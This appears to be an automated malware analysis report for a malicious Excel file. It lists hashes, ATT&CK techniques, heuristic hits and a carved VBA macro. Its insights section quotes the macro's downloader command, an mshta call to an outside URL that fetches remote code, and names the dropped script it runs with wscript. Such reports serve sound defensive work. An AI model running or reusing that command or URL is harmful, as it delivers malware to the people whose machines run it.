Office (OLE) / .XLSX malware analysis — malicious · d491c1a474a5f32f

MALICIOUS

Office (OLE) / .XLSX

31.5 KB Created: 2022-06-08 06:50:44 Authoring application: Microsoft Excel First seen: 2022-06-09

MD5: 2ce15ce791be43645470eb751ddb7444 SHA-1: 5178e790ea4a8572af728682bd31761ec9f846a5 SHA-256: d491c1a474a5f32f8be43dcd465df515298ebe764d7dbcd448d699c51f13f5f8

342 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1218.005 System Binary Proxy Execution: Mshta

The VBA macro within the XLSX file utilizes WScript.Shell to construct and execute a command. Specifically, it concatenates strings to form 'mshta http://www.asianexportglass.shop/p/50.html' and writes this command, along with a JavaScript payload, to 'C:\Users\Public\zaim.js'. This script is then executed via 'wscript C:\Users\Public\zaim.js', indicating a downloader functionality.

Heuristics 9

Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT

OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is CVE-2007-3893/MS07-046-family evidence when paired with Office exploit payload anomalies, but the malformed EMF record is not proven by this rule alone.
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
ClamAV: Xls.Malware.Valyria-10002968-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Valyria-10002968-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.asianexportglass.shop/p/50.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `4e77cd9b2a4763007e16f41f005fc5d8d0b007d267cf82dfe9a492cd27bbd624`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1273 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).

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